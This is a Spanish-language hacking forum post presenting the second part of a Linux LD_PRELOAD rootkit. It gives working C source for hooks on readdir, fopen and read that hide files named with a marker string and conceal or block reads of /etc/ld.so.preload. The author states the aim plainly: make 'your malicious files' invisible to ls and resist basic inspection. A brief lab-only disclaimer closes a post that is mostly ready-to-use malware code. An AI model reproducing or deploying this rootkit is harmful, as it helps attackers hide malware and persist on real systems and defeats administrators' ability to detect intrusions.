Linux LD_PRELOAD Rootkit Parte 2


DcD

Miembro muy activo
Buenas chulos hace unos días os enseñé la versión básica solo con readdir para esconder archivos del ls. Hoy subo la Parte 2, bastante más interesante.

Esta versión ya combina 3 hooks trabajando juntos:

Hooks implementados:​

  • readdir → Oculta archivos y carpetas que contengan MAGIC_STRING o el propio ld.so.preload
  • fopen → Impide directamente abrir el archivo /etc/ld.so.preload
  • read → detecta cuándo se está leyendo el archivo de preload (vía /proc/self/fd/) y lo bloquea devolviendo error.
Aqui teneis un poco de codigo por si os interesa:
C:
#define MAGIC_STRING "malicious_file"
#define HIDDEN_FILE  "/etc/ld.so.preload"

// Punteros originales
static struct dirent *(*orig_readdir)(DIR *dirp) = NULL;
static FILE *(*orig_fopen)(const char*, const char*) = NULL;
static ssize_t (*orig_read)(int, void*, size_t) = NULL;

Estos son los hooks de cada funcion:

Código:
struct dirent *readdir(DIR *dirp)
{
    if (!orig_readdir) orig_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *entry;
    while ((entry = orig_readdir(dirp)) != NULL)
    {
        if (strstr(entry->d_name, MAGIC_STRING) ||
            strcmp(entry->d_name, "ld.so.preload") == 0)
            continue;
        
        return entry;
    }
    return NULL;
}

FILE *fopen(const char *pathname, const char *mode)
{
    if (!orig_fopen) orig_fopen = dlsym(RTLD_NEXT, "fopen");

    if (pathname && strstr(pathname, HIDDEN_FILE))
    {
        errno = ENOENT;
        return NULL;
    }
    return orig_fopen(pathname, mode);
}

ssize_t read(int fd, void *buf, size_t count)
{
    if (!orig_read) orig_read = dlsym(RTLD_NEXT, "read");

    ssize_t result = orig_read(fd, buf, count);

    if (result > 0)
    {
        // Detectamos si están intentando leer /etc/ld.so.preload
        char actual_path[PATH_MAX];
        char linkpath[PATH_MAX];
        snprintf(linkpath, sizeof(linkpath), "/proc/self/fd/%d", fd);
        
        ssize_t len = readlink(linkpath, actual_path, sizeof(actual_path)-1);
        if (len > 0)
        {
            actual_path[len] = '\0';
            if (strstr(actual_path, HIDDEN_FILE) != NULL)
            {
                errno = ENOENT;
                return -1;
            }
        }
    }
    return result;
}


Con esto chavales conseguimos:
  • ls no muestra tus archivos maliciosos
  • cat /etc/ld.so.preload falla o no muestra nada
  • Incluso si alguien hace cat directamente al archivo, el hook de read lo bloquea
  • Mucho más resistente a inspecciones básicas

1778095320926.png


Disclaimer: Proyecto educativo 100% para VMs y entornos de laboratorio. No usar en sistemas ajenos.
 
  • Diablo
  • Like
Reacciones : uss0ck y Citro